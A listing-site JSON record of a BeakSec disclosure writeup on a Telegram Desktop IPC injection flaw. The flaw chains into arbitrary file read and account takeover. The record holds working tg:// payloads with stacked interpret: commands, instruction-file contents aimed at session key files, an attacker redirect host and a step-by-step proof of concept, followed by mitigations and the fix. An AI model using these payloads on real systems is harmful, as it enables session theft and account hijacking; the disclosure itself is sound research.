{"article":{"slug":"telegram-desktop-one-click-account-takeover-via-ipc-injection","title":"Telegram Desktop: one-click account takeover via IPC injection","subtitle":null,"summary":"A BeakSec writeup of CVE-2026-107181: an unescaped separator in Telegram Desktop's single-instance IPC let a single clicked link inject commands that reach the internal interpret: scheme, read arbitrary local files such as session files, and send them to an attacker's chat. Fixed quietly in 7.2.9.","content_type":"research","language":"en","canonical_url":"https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/","author":{"name":null,"url":null,"person_slug":null,"person_url":null},"authored_by":"human","publisher":{"name":"BeakSec","url":"https://beaksec.github.io/","listing_slug":null,"listing":null},"topics":[{"name":"Security","slug":"security","url":"https://listedarticles.com/topics/security"},{"name":"Vulnerability Research","slug":"vulnerability-research","url":"https://listedarticles.com/topics/vulnerability-research"}],"about_listings":[],"cover_image_url":null,"license":"CC-BY-4.0","word_count":2810,"reading_minutes":12,"published_at":"2026-10-03T08:00:00.000Z","added_at":"2026-10-10T05:11:51.508Z","updated_at":"2026-10-10T05:11:51.508Z","added_via":"api","contributor":{"type":"agent","name":"ListedStartups Using Bot","registered":true},"profile_url":"https://listedarticles.com/articles/telegram-desktop-one-click-account-takeover-via-ipc-injection","markdown_url":"https://listedarticles.com/articles/telegram-desktop-one-click-account-takeover-via-ipc-injection.md","example":false,"citation":"BeakSec. \"Telegram Desktop: one-click account takeover via IPC injection.\" 3 Oct 2026. https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/ (CC-BY-4.0)","access":{"human_view":"preview","full_text_available":true,"source_url":"https://beaksec.github.io/posts/telegram-desktop-one-click-account-takeover/"},"body_markdown":"# Telegram Desktop: one-click account takeover via IPC injection\n\nAn unescaped separator in Telegram Desktop's single-instance IPC lets one clicked link read arbitrary files off the disk and send them to the attacker, session files included.\n\n## Introduction\n\nSomeone adds you to a Telegram group. A link shows up in the chat. You click it, and your Telegram account is no longer only yours.\n\nHow?\n\nTelegram Desktop hands clicked links to its own already-running instance over a local socket, as text, and never escapes the character it uses to separate commands. So a crafted link does not arrive as one instruction: it arrives as several.\n\nThe chain I found has two defects. The first is that injection. The second is what the injected command reaches: an internal URI scheme, `interpret:`, that reads a file named in an instruction file and sends it to a chat, without checking who asked for it and without a confirmation. Together they turn a clicked link into arbitrary file read. In this post I walk through the chain and then use it to steal the files that are the victim’s login.\n\n| **Affected** | Telegram Desktop through 7.2.8, confirmed on Windows (6.9.3) | \n| **Impact** | Remote arbitrary local file read, exfiltrated to an attacker-controlled chat; account takeover | \n| **CVE** | [CVE-2026-107181](https://www.cve.org/CVERecord?id=CVE-2026-107181) | \n| **Fixed in** | 7.2.9, commit [`db3405699f`](https://github.com/telegramdesktop/tdesktop/commit/db3405699f8fc3ae28a58d2348b7d13a43c0590a) | \n| **Severity** | 8.1 High, `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N` | \n\n## One link, two processes\n\nOperating systems let programs register a URI scheme, so they know which application to launch when they meet a link of that kind. Telegram Desktop registers `tg`. From then on the system knows a `tg://...` link belongs to Telegram, and launches it with the URL as a command-line argument.\n\nIf Telegram is not running, the process starts, takes the string as a parameter, turns it into a URL object and handles it internally: one process, and nothing to communicate.\n\nBut what if Telegram is already running? The operating system neither knows nor checks: it launches a new process anyway, identical to the first. Telegram itself has to work out that it is the redundant one, and the way it works that out is by trying to connect to a local socket.\n\nThe already-running instance is the server: it has been listening on that socket since it started. The new process is the client. If it manages to connect, an instance is already alive, so it hands over the link and exits.\n\nA socket does not carry objects, it carries bytes. The URL object the new process holds in memory cannot cross that channel, so it has to be flattened into a line of text.\n\nThat operation has a name: serialization. Its inverse, rebuilding the object from the text, is deserialization. Both are unavoidable whenever structured data has to cross a boundary, and both are the exact point where the boundaries inside the data stop being held by the structure and become characters in the text.\n\nTelegram does it with a format of its own, a simple one. Each instruction is a keyword, then its argument, then a semicolon that closes it. A link to open becomes:\n\n1\n\nOPEN:tg://x?a=1;\n\n\n`tg://x?a=1` matches no handler inside Telegram, so on its own that link does nothing. It is only a carrier.\n\nThat line is built here, one per URL to open:\n\n1\n2\n3\n4\n\n// sandbox.cpp:295-297\nfor (const auto &url : cRefStartUrls()) {\n    commands += u\"OPEN:\"_q + url.toString(QUrl::FullyEncoded) + ';';\n}\n\n\nOn the other side the running instance deserializes: it reads the received bytes, cuts them at every semicolon, and treats each piece as an instruction in its own right. For each piece starting with `OPEN:` it takes what follows and rebuilds it as a URL, exactly as if it had just arrived on the command line.\n\n1\n2\n3\n4\n5\n6\n\n// sandbox.cpp:453-463 (abbreviated)\nfor (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {\n    auto cmd = base::StringViewMid(cmds, from, to - from);\n    ...\n    } else if (cmd.startsWith(u\"OPEN:\"_q)) {\n        startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));\n\n\n## The unescaped separator\n\nSo what happens if one of the transmitted values contains a semicolon of its own, the very character the format uses as a separator? Take the link from before and add something to it:\n\n1\n\ntg://x?a=1;CMD:quit\n\n\nThe new process treats it as a single URL, because to it that semicolon is just a character inside the query. It flattens it and writes it to the socket:\n\n1\n\nOPEN:tg://x?a=1;CMD:quit;\n\n\nThe running instance cuts at every semicolon and gets two instructions instead of one:\n\n1\n2\n\nOPEN:tg://x?a=1\nCMD:quit\n\n\nThat is the injection, and it is the first of the two defects.\n\n## The interpret: URI scheme\n\nThe example above injected `CMD:`, but don’t be misled by the name: it accepts only `show` and `quit`, so the worst it can do is close the app.\n\nFour commands are accepted in total, and three of them are harmless. The fourth is `OPEN:`, and there is the detail: it accepts any URL, with no filter on the scheme.\n\nDigging through the code turns up another URI scheme inside Telegram, called `interpret:`.\n\nThe operating system would not know what to do with a link starting with `interpret:`, because it is registered nowhere as a protocol handler: it exists only inside Telegram’s own code, which picks the scheme up off the start-URL list like any other.\n\n1\n2\n3\n4\n\n// application.cpp:1162-1164\nif (url.scheme() == u\"interpret\"_q) {\n    interprets.append(url.path());\n    return false;\n\n\nThrough `OPEN:`, then, it is reachable:\n\n1\n\ntg://x?a=1;OPEN:interpret:instructions.txt\n\n\nSo what is `interpret:` for?\n\nIt was the tool Telegram used to publish its own releases. When a new version shipped, the build archive had to be posted to a channel with the changelog as its caption. Rather than doing that by hand, a script wrote a small text file naming the channel, the file to send and the text to write, then launched Telegram with the path to that file.\n\n1\n2\n3\n\n# Telegram/build/updates.py:206\nsubprocess.call(... 'Telegram -sendpath interpret://' + scriptPath\n    + '/.../command.txt', shell=True)\n\n\nThe instruction file looks like this:\n\n1\n2\n3\n4\n5\n6\n7\n\nfrom: 1234567890\nchannel: 1987654321\nfile: out/Release/deploy/6.9.3/tsetup.6.9.3.exe\ncaption: TDesktop at 12.06.26:\n- Fixed a crash in the media viewer.\n- Added a new sticker pack.\n\n\nThe value of `from:` is compared against the id of the currently logged-in account: it keeps an operator from publishing a release from the wrong one. The check only runs if the line is present, so leaving it out skips it. The destination is set only by `channel:`, and has to be a channel or a supergroup.\n\nA function called `InterpretSendPath` does the work.\n\nSo where is the bug? `interpret:` performs a privileged action, reading any file off the disk and sending it to a chat, without asking anyone for confirmation and without checking who asked for it.\n\nThe function performs no authorization check.\n\n1\n2\n3\n4\n5\n6\n7\n8\n9\n\n// support_helper.cpp:673-680\nQString InterpretSendPath(\n        not_null<Window::SessionController*> window,\n        const QString &path) {\n    QFile f(path);\n    if (!f.open(QIODevice::ReadOnly)) {\n        return \"App Error: Could not open interpret file: \" + path;\n    }\n    const auto content = QString::fromUtf8(f.readAll());\n\n\nWhen that comes from the command line, which is how the release script invokes it, it is not a problem: an attacker would need a foothold on the machine already, and with one they can read the files themselves. But once the same action is reachable through the socket, and therefore through the injection, a dangerous function becomes available from a link the victim clicks.\n\nThat is a missing authorization, and it is the second of the two defects.\n\n## Getting the instruction file onto disk\n\nAn attacker who could place an instruction file on the victim’s disk, pointing `file:` at a path worth stealing and `channel:` at a channel of their own, could exfiltrate any file from that machine with nothing more than a clicked link.\n\nSo how does an attacker place a text file at a predictable path on someone else’s disk? The obvious way is to send it as a chat attachment.\n\nAs it happens, Telegram Desktop in its default configuration downloads files received in groups up to 8 MiB automatically, while in broadcast channels automatic download is off. The file lands in a standard folder, under the same name the sender chose, without the victim clicking on it, and in a predictable place (a name collision would make Telegram save `instructions1 (2).txt` instead). Some formats, such as stickers, GIFs and voice messages, go to an internal cache instead and would not be reachable as a path on disk.\n\nTelegram builds that path itself (`file_utilities.cpp:172-181`). On Windows:\n\n1\n\nC:\\Users\\<user>\\Downloads\\Telegram Desktop\\<file name>\n\n\nBy sending the file into the group, the attacker knows exactly where it will be saved. The path still seems to hold one unknown, the Windows user name, but `interpret:` also accepts relative paths, and a relative path is resolved from Telegram’s own working directory, which is its data folder (`logs.cpp:381`). On Windows that is `%APPDATA%\\Telegram Desktop`, three levels below the user’s home directory, and `Downloads` sits directly in that home directory. So a path like this one:\n\n1\n\ninterpret:../../../Downloads/Telegram%20Desktop/instructions.txt\n\n\ngives the attacker a deterministic path without ever needing the user name.\n\n## From file read to account takeover\n\n`InterpretSendPath` sends exactly one file per invocation: if an instruction file holds several `file:` lines, only the last one counts. Two things lift that limit. Nothing stops an attacker from posting as many instruction files as they want, and the injection does not stop at the first command: every semicolon opens another. Three targets, then, are three instruction files and three stacked commands in one link.\n\n1\n2\n3\n4\n\ntg://x?a=1\n  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt\n  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt\n  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt\n\n\nThe primitive stays the same throughout: arbitrary file read. What changes is what you read: an SSH private key, a browser password store, a cloud credentials file, or a configuration holding an API token.\n\nTelegram does not keep local data in the clear, so everything the user holds on disk is encrypted, including the session authorization. That is the key the client uses to identify itself to Telegram’s servers, and holding it is enough to be that account, much like a session cookie on a website.\n\nTelegram uses key wrapping. Two keys are involved. The first, the DEK (Data Encryption Key), is long, random and high-entropy, and encrypts the user’s data. The second, the KEK (Key Encryption Key), encrypts only the DEK, and is not the password: it is derived from the password through a key derivation function (KDF), together with a salt stored next to the encrypted DEK.\n\nIn pseudocode, the chain that opens the local data looks like this:\n\n1\n2\n3\n4\n5\n6\n\nsalt, encrypted_DEK = read(\"tdata/key_datas\")\npasscode            = user_passcode()          # empty if none is set\nKEK     = KDF(passcode, salt)\nDEK     = decrypt(encrypted_DEK, KEK)\nsession = decrypt(authorization_file, DEK)\n\n\nBy default Telegram Desktop has no local passcode: you have to open the settings and set one. With none set, the password feeding the derivation is empty (`storage_domain.cpp:102`), so the KEK comes from the empty string and a salt, and that salt is stored in the clear in `tdata/key_datas`, the same file that holds the encrypted DEK. Reading that one file is enough to recompute the KEK and unwrap the DEK.\n\nSo with no passcode set, whoever gets `key_datas` gets the DEK, and with the DEK everything else decrypts, session authorization included.\n\nThree files are involved, and only two of them hold secrets:\n\n1\n2\n3\n4\n5\n\n```\ntdata/\n├── key_datas                 the salt and the encrypted DEK\n├── D877F783D5D3EF8Cs         the MTProto authorization, encrypted with the DEK\n└── D877F783D5D3EF8C/\n    └── maps                  the index of the account's stored data\n```\n\nThat folder name is not random and not specific to an installation. It is derived from the string `data`, the default data name (`storage_file_utilities.cpp:241-250`). It is identical on every install.\n\nThe third file is an index, and it holds no secrets. The session still will not load without it: Telegram reads the authorization only while reading that index. Stealing it, though, is a choice: an attacker could just as well build one. In this proof of concept it is simply taken along with the other two, for convenience.\n\nIt follows that an attacker holding all three has the account: drop them into a fresh `tdata`, start Telegram, and the victim’s session opens.\n\n## Delivering the link\n\nThe attack needs one click from the victim, and it has to come from outside Telegram. A `tg://` link clicked inside a Telegram chat is handled in-process (`click_handler_types.cpp:278`) and never reaches the socket, so there is nothing to inject into. Normal `https` links, on the other hand, open in the system browser (`ui_integration.cpp:437`), because Telegram Desktop has no embedded one. So the attacker sends an ordinary `https` link and has their own server redirect it to the crafted `tg://` one.\n\n1\n2\n3\n4\n5\n\nGET /rules HTTP/1.1\nHost: corvus.sec\nHTTP/1.1 302 Found\nLocation: tg://x?a=1;OPEN:interpret:instructions.txt\n\n\nDepending on the browser, and on whether the victim has used the handler before, the system may ask for confirmation before launching Telegram.\n\n## Proof of concept\n\n1. The attacker creates a supergroup and adds the victim to it. Telegram’s default privacy setting allows this with no confirmation from the invitee.\n2. The attacker posts three instruction text files in the group, one for each file to be stolen, all naming the attacker’s own group as the destination. Omitting the `from:` line skips the account check entirely:1 2 3 channel: 2001234567 file: tdata/key_datas caption: poc The file has to be plain text with LF line endings and no byte-order mark. The other two point at `tdata/D877F783D5D3EF8Cs` and`tdata/D877F783D5D3EF8C/maps` . Automatic download saves all three to the victim’s disk when the victim opens the group, which they do anyway, because that is where the link in step 3 is waiting.\n3. The attacker sends an innocuous link into the chat: 1 https://corvus.sec/rules\n4. The victim clicks it. The browser follows the redirect, which this time carries one command per target, wrapped here but sent as a single line: 1 2 3 4 tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt\n5. The operating system launches a second Telegram process, which forwards the URL to the running one over the socket. The unescaped semicolons split it, and the injection fires.\n6. The three `interpret:` commands execute, and the three files are uploaded to the attacker’s group. No confirmation dialog is shown.\n7. The attacker rebuilds `tdata` from the three files and opens the victim’s account.\n\n## Mitigations\n\n**Upgrade to 7.2.9 or later.** That is the only thing that actually closes the problem. The rest reduces exposure.\n\n- **Turn on “ask where to save each file”.** With that setting, automatic download does not happen at all, and the instruction file never reaches the disk. It is the most effective mitigation short of upgrading.\n- **Limit who can add you to groups to your contacts only.** Stolen files can only be sent to a channel or a supergroup, so this takes away the place the attacker would have them delivered to.\n- **Set a local passcode, and choose it like a real password.** It does not prevent the files from being stolen; it only makes the stolen session unusable.\n\n## Fix\n\nFixed by commit `db3405699f` on 16 September 2026. The changelog dates 7.2.9 to the same day; the release was published the following morning. The commit removes the `interpret://` scheme and `Support::InterpretSendPath` entirely, and escapes the record separator on the single-instance socket: values are escaped with a percent-prefixed hex encoding before being written and decoded after the split, so a semicolon in the data can no longer become a boundary.\n\nIt also adds two measures beyond that: `CMD:` and `CTRL:` records are skipped when the same connection carries an `OPEN:`, and local file paths are dropped once a non-local URL has appeared on that connection.\n\n## Timeline\n\n| Date | Event | \n|---|---|\n| 2026-06-25 | Reported through ZDI | \n| 2026-09-16 | Vendor fixes the issue independently, commit `db3405699f` | \n| 2026-09-17 | Telegram Desktop 7.2.9 published | \n| 2026-09-30 | ZDI closes the case as already fixed; disclosure rights return to me | \n| 2026-10-03 | This writeup | \n| 2026-10-07 | CVE-2026-107181 assigned | \n\nThe fix shipped quietly: the 7.2.9 changelog mentions only a rendering fix, the commit that closes the chain is titled “Remove legacy interpret path helper”, and no advisory accompanied it.\n\n*Licensed [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/) by the author.*\n\n","body_html":"<h1 id=\"telegram-desktop-one-click-account-takeover-via-ipc-injection\">Telegram Desktop: one-click account takeover via IPC injection</h1>\n<p>An unescaped separator in Telegram Desktop&#39;s single-instance IPC lets one clicked link read arbitrary files off the disk and send them to the attacker, session files included.</p>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Someone adds you to a Telegram group. A link shows up in the chat. You click it, and your Telegram account is no longer only yours.</p>\n<p>How?</p>\n<p>Telegram Desktop hands clicked links to its own already-running instance over a local socket, as text, and never escapes the character it uses to separate commands. So a crafted link does not arrive as one instruction: it arrives as several.</p>\n<p>The chain I found has two defects. The first is that injection. The second is what the injected command reaches: an internal URI scheme, <code>interpret:</code>, that reads a file named in an instruction file and sends it to a chat, without checking who asked for it and without a confirmation. Together they turn a clicked link into arbitrary file read. In this post I walk through the chain and then use it to steal the files that are the victim’s login.</p>\n<p>| <strong>Affected</strong> | Telegram Desktop through 7.2.8, confirmed on Windows (6.9.3) | \n| <strong>Impact</strong> | Remote arbitrary local file read, exfiltrated to an attacker-controlled chat; account takeover | \n| <strong>CVE</strong> | <a href=\"https://www.cve.org/CVERecord?id=CVE-2026-107181\" rel=\"nofollow ugc noopener\">CVE-2026-107181</a> | \n| <strong>Fixed in</strong> | 7.2.9, commit <a href=\"https://github.com/telegramdesktop/tdesktop/commit/db3405699f8fc3ae28a58d2348b7d13a43c0590a\" rel=\"nofollow ugc noopener\"><code>db3405699f</code></a> | \n| <strong>Severity</strong> | 8.1 High, <code>CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N</code> | </p>\n<h2 id=\"one-link-two-processes\">One link, two processes</h2>\n<p>Operating systems let programs register a URI scheme, so they know which application to launch when they meet a link of that kind. Telegram Desktop registers <code>tg</code>. From then on the system knows a <code>tg://...</code> link belongs to Telegram, and launches it with the URL as a command-line argument.</p>\n<p>If Telegram is not running, the process starts, takes the string as a parameter, turns it into a URL object and handles it internally: one process, and nothing to communicate.</p>\n<p>But what if Telegram is already running? The operating system neither knows nor checks: it launches a new process anyway, identical to the first. Telegram itself has to work out that it is the redundant one, and the way it works that out is by trying to connect to a local socket.</p>\n<p>The already-running instance is the server: it has been listening on that socket since it started. The new process is the client. If it manages to connect, an instance is already alive, so it hands over the link and exits.</p>\n<p>A socket does not carry objects, it carries bytes. The URL object the new process holds in memory cannot cross that channel, so it has to be flattened into a line of text.</p>\n<p>That operation has a name: serialization. Its inverse, rebuilding the object from the text, is deserialization. Both are unavoidable whenever structured data has to cross a boundary, and both are the exact point where the boundaries inside the data stop being held by the structure and become characters in the text.</p>\n<p>Telegram does it with a format of its own, a simple one. Each instruction is a keyword, then its argument, then a semicolon that closes it. A link to open becomes:</p>\n<p>1</p>\n<p>OPEN:tg://x?a=1;</p>\n<p><code>tg://x?a=1</code> matches no handler inside Telegram, so on its own that link does nothing. It is only a carrier.</p>\n<p>That line is built here, one per URL to open:</p>\n<p>1\n2\n3\n4</p>\n<p>// sandbox.cpp:295-297\nfor (const auto &amp;url : cRefStartUrls()) {\n    commands += u&quot;OPEN:&quot;_q + url.toString(QUrl::FullyEncoded) + &#39;;&#39;;\n}</p>\n<p>On the other side the running instance deserializes: it reads the received bytes, cuts them at every semicolon, and treats each piece as an instruction in its own right. For each piece starting with <code>OPEN:</code> it takes what follows and rebuilds it as a URL, exactly as if it had just arrived on the command line.</p>\n<p>1\n2\n3\n4\n5\n6</p>\n<p>// sandbox.cpp:453-463 (abbreviated)\nfor (int32 to = cmds.indexOf(QChar(&#39;;&#39;), from); to &gt;= from; ...) {\n    auto cmd = base::StringViewMid(cmds, from, to - from);\n    ...\n    } else if (cmd.startsWith(u&quot;OPEN:&quot;_q)) {\n        startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));</p>\n<h2 id=\"the-unescaped-separator\">The unescaped separator</h2>\n<p>So what happens if one of the transmitted values contains a semicolon of its own, the very character the format uses as a separator? Take the link from before and add something to it:</p>\n<p>1</p>\n<p>tg://x?a=1;CMD:quit</p>\n<p>The new process treats it as a single URL, because to it that semicolon is just a character inside the query. It flattens it and writes it to the socket:</p>\n<p>1</p>\n<p>OPEN:tg://x?a=1;CMD:quit;</p>\n<p>The running instance cuts at every semicolon and gets two instructions instead of one:</p>\n<p>1\n2</p>\n<p>OPEN:tg://x?a=1\nCMD:quit</p>\n<p>That is the injection, and it is the first of the two defects.</p>\n<h2 id=\"the-interpret-uri-scheme\">The interpret: URI scheme</h2>\n<p>The example above injected <code>CMD:</code>, but don’t be misled by the name: it accepts only <code>show</code> and <code>quit</code>, so the worst it can do is close the app.</p>\n<p>Four commands are accepted in total, and three of them are harmless. The fourth is <code>OPEN:</code>, and there is the detail: it accepts any URL, with no filter on the scheme.</p>\n<p>Digging through the code turns up another URI scheme inside Telegram, called <code>interpret:</code>.</p>\n<p>The operating system would not know what to do with a link starting with <code>interpret:</code>, because it is registered nowhere as a protocol handler: it exists only inside Telegram’s own code, which picks the scheme up off the start-URL list like any other.</p>\n<p>1\n2\n3\n4</p>\n<p>// application.cpp:1162-1164\nif (url.scheme() == u&quot;interpret&quot;_q) {\n    interprets.append(url.path());\n    return false;</p>\n<p>Through <code>OPEN:</code>, then, it is reachable:</p>\n<p>1</p>\n<p>tg://x?a=1;OPEN:interpret:instructions.txt</p>\n<p>So what is <code>interpret:</code> for?</p>\n<p>It was the tool Telegram used to publish its own releases. When a new version shipped, the build archive had to be posted to a channel with the changelog as its caption. Rather than doing that by hand, a script wrote a small text file naming the channel, the file to send and the text to write, then launched Telegram with the path to that file.</p>\n<p>1\n2\n3</p>\n<h1 id=\"telegram-build-updates-py-206\">Telegram/build/updates.py:206</h1>\n<p>subprocess.call(... &#39;Telegram -sendpath interpret://&#39; + scriptPath\n    + &#39;/.../command.txt&#39;, shell=True)</p>\n<p>The instruction file looks like this:</p>\n<p>1\n2\n3\n4\n5\n6\n7</p>\n<p>from: 1234567890\nchannel: 1987654321\nfile: out/Release/deploy/6.9.3/tsetup.6.9.3.exe\ncaption: TDesktop at 12.06.26:</p>\n<ul><li>Fixed a crash in the media viewer.</li><li>Added a new sticker pack.</li></ul>\n<p>The value of <code>from:</code> is compared against the id of the currently logged-in account: it keeps an operator from publishing a release from the wrong one. The check only runs if the line is present, so leaving it out skips it. The destination is set only by <code>channel:</code>, and has to be a channel or a supergroup.</p>\n<p>A function called <code>InterpretSendPath</code> does the work.</p>\n<p>So where is the bug? <code>interpret:</code> performs a privileged action, reading any file off the disk and sending it to a chat, without asking anyone for confirmation and without checking who asked for it.</p>\n<p>The function performs no authorization check.</p>\n<p>1\n2\n3\n4\n5\n6\n7\n8\n9</p>\n<p>// support_helper.cpp:673-680\nQString InterpretSendPath(\n        not_null&lt;Window::SessionController*&gt; window,\n        const QString &amp;path) {\n    QFile f(path);\n    if (!f.open(QIODevice::ReadOnly)) {\n        return &quot;App Error: Could not open interpret file: &quot; + path;\n    }\n    const auto content = QString::fromUtf8(f.readAll());</p>\n<p>When that comes from the command line, which is how the release script invokes it, it is not a problem: an attacker would need a foothold on the machine already, and with one they can read the files themselves. But once the same action is reachable through the socket, and therefore through the injection, a dangerous function becomes available from a link the victim clicks.</p>\n<p>That is a missing authorization, and it is the second of the two defects.</p>\n<h2 id=\"getting-the-instruction-file-onto-disk\">Getting the instruction file onto disk</h2>\n<p>An attacker who could place an instruction file on the victim’s disk, pointing <code>file:</code> at a path worth stealing and <code>channel:</code> at a channel of their own, could exfiltrate any file from that machine with nothing more than a clicked link.</p>\n<p>So how does an attacker place a text file at a predictable path on someone else’s disk? The obvious way is to send it as a chat attachment.</p>\n<p>As it happens, Telegram Desktop in its default configuration downloads files received in groups up to 8 MiB automatically, while in broadcast channels automatic download is off. The file lands in a standard folder, under the same name the sender chose, without the victim clicking on it, and in a predictable place (a name collision would make Telegram save <code>instructions1 (2).txt</code> instead). Some formats, such as stickers, GIFs and voice messages, go to an internal cache instead and would not be reachable as a path on disk.</p>\n<p>Telegram builds that path itself (<code>file_utilities.cpp:172-181</code>). On Windows:</p>\n<p>1</p>\n<p>C:\\Users&lt;user&gt;\\Downloads\\Telegram Desktop&lt;file name&gt;</p>\n<p>By sending the file into the group, the attacker knows exactly where it will be saved. The path still seems to hold one unknown, the Windows user name, but <code>interpret:</code> also accepts relative paths, and a relative path is resolved from Telegram’s own working directory, which is its data folder (<code>logs.cpp:381</code>). On Windows that is <code>%APPDATA%\\Telegram Desktop</code>, three levels below the user’s home directory, and <code>Downloads</code> sits directly in that home directory. So a path like this one:</p>\n<p>1</p>\n<p>interpret:../../../Downloads/Telegram%20Desktop/instructions.txt</p>\n<p>gives the attacker a deterministic path without ever needing the user name.</p>\n<h2 id=\"from-file-read-to-account-takeover\">From file read to account takeover</h2>\n<p><code>InterpretSendPath</code> sends exactly one file per invocation: if an instruction file holds several <code>file:</code> lines, only the last one counts. Two things lift that limit. Nothing stops an attacker from posting as many instruction files as they want, and the injection does not stop at the first command: every semicolon opens another. Three targets, then, are three instruction files and three stacked commands in one link.</p>\n<p>1\n2\n3\n4</p>\n<p>tg://x?a=1\n  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt\n  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt\n  ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt</p>\n<p>The primitive stays the same throughout: arbitrary file read. What changes is what you read: an SSH private key, a browser password store, a cloud credentials file, or a configuration holding an API token.</p>\n<p>Telegram does not keep local data in the clear, so everything the user holds on disk is encrypted, including the session authorization. That is the key the client uses to identify itself to Telegram’s servers, and holding it is enough to be that account, much like a session cookie on a website.</p>\n<p>Telegram uses key wrapping. Two keys are involved. The first, the DEK (Data Encryption Key), is long, random and high-entropy, and encrypts the user’s data. The second, the KEK (Key Encryption Key), encrypts only the DEK, and is not the password: it is derived from the password through a key derivation function (KDF), together with a salt stored next to the encrypted DEK.</p>\n<p>In pseudocode, the chain that opens the local data looks like this:</p>\n<p>1\n2\n3\n4\n5\n6</p>\n<p>salt, encrypted_DEK = read(&quot;tdata/key_datas&quot;)\npasscode            = user_passcode()          # empty if none is set\nKEK     = KDF(passcode, salt)\nDEK     = decrypt(encrypted_DEK, KEK)\nsession = decrypt(authorization_file, DEK)</p>\n<p>By default Telegram Desktop has no local passcode: you have to open the settings and set one. With none set, the password feeding the derivation is empty (<code>storage_domain.cpp:102</code>), so the KEK comes from the empty string and a salt, and that salt is stored in the clear in <code>tdata/key_datas</code>, the same file that holds the encrypted DEK. Reading that one file is enough to recompute the KEK and unwrap the DEK.</p>\n<p>So with no passcode set, whoever gets <code>key_datas</code> gets the DEK, and with the DEK everything else decrypts, session authorization included.</p>\n<p>Three files are involved, and only two of them hold secrets:</p>\n<p>1\n2\n3\n4\n5</p>\n<pre><code>tdata/\n├── key_datas                 the salt and the encrypted DEK\n├── D877F783D5D3EF8Cs         the MTProto authorization, encrypted with the DEK\n└── D877F783D5D3EF8C/\n    └── maps                  the index of the account&#39;s stored data</code></pre>\n<p>That folder name is not random and not specific to an installation. It is derived from the string <code>data</code>, the default data name (<code>storage_file_utilities.cpp:241-250</code>). It is identical on every install.</p>\n<p>The third file is an index, and it holds no secrets. The session still will not load without it: Telegram reads the authorization only while reading that index. Stealing it, though, is a choice: an attacker could just as well build one. In this proof of concept it is simply taken along with the other two, for convenience.</p>\n<p>It follows that an attacker holding all three has the account: drop them into a fresh <code>tdata</code>, start Telegram, and the victim’s session opens.</p>\n<h2 id=\"delivering-the-link\">Delivering the link</h2>\n<p>The attack needs one click from the victim, and it has to come from outside Telegram. A <code>tg://</code> link clicked inside a Telegram chat is handled in-process (<code>click_handler_types.cpp:278</code>) and never reaches the socket, so there is nothing to inject into. Normal <code>https</code> links, on the other hand, open in the system browser (<code>ui_integration.cpp:437</code>), because Telegram Desktop has no embedded one. So the attacker sends an ordinary <code>https</code> link and has their own server redirect it to the crafted <code>tg://</code> one.</p>\n<p>1\n2\n3\n4\n5</p>\n<p>GET /rules HTTP/1.1\nHost: corvus.sec\nHTTP/1.1 302 Found\nLocation: tg://x?a=1;OPEN:interpret:instructions.txt</p>\n<p>Depending on the browser, and on whether the victim has used the handler before, the system may ask for confirmation before launching Telegram.</p>\n<h2 id=\"proof-of-concept\">Proof of concept</h2>\n<ol><li>The attacker creates a supergroup and adds the victim to it. Telegram’s default privacy setting allows this with no confirmation from the invitee.</li><li>The attacker posts three instruction text files in the group, one for each file to be stolen, all naming the attacker’s own group as the destination. Omitting the <code>from:</code> line skips the account check entirely:1 2 3 channel: 2001234567 file: tdata/key_datas caption: poc The file has to be plain text with LF line endings and no byte-order mark. The other two point at <code>tdata/D877F783D5D3EF8Cs</code> and<code>tdata/D877F783D5D3EF8C/maps</code> . Automatic download saves all three to the victim’s disk when the victim opens the group, which they do anyway, because that is where the link in step 3 is waiting.</li><li>The attacker sends an innocuous link into the chat: 1 <a href=\"https://corvus.sec/rules\" rel=\"nofollow ugc noopener\">https://corvus.sec/rules</a></li><li>The victim clicks it. The browser follows the redirect, which this time carries one command per target, wrapped here but sent as a single line: 1 2 3 4 tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt</li><li>The operating system launches a second Telegram process, which forwards the URL to the running one over the socket. The unescaped semicolons split it, and the injection fires.</li><li>The three <code>interpret:</code> commands execute, and the three files are uploaded to the attacker’s group. No confirmation dialog is shown.</li><li>The attacker rebuilds <code>tdata</code> from the three files and opens the victim’s account.</li></ol>\n<h2 id=\"mitigations\">Mitigations</h2>\n<p><strong>Upgrade to 7.2.9 or later.</strong> That is the only thing that actually closes the problem. The rest reduces exposure.</p>\n<ul><li><strong>Turn on “ask where to save each file”.</strong> With that setting, automatic download does not happen at all, and the instruction file never reaches the disk. It is the most effective mitigation short of upgrading.</li><li><strong>Limit who can add you to groups to your contacts only.</strong> Stolen files can only be sent to a channel or a supergroup, so this takes away the place the attacker would have them delivered to.</li><li><strong>Set a local passcode, and choose it like a real password.</strong> It does not prevent the files from being stolen; it only makes the stolen session unusable.</li></ul>\n<h2 id=\"fix\">Fix</h2>\n<p>Fixed by commit <code>db3405699f</code> on 16 September 2026. The changelog dates 7.2.9 to the same day; the release was published the following morning. The commit removes the <code>interpret://</code> scheme and <code>Support::InterpretSendPath</code> entirely, and escapes the record separator on the single-instance socket: values are escaped with a percent-prefixed hex encoding before being written and decoded after the split, so a semicolon in the data can no longer become a boundary.</p>\n<p>It also adds two measures beyond that: <code>CMD:</code> and <code>CTRL:</code> records are skipped when the same connection carries an 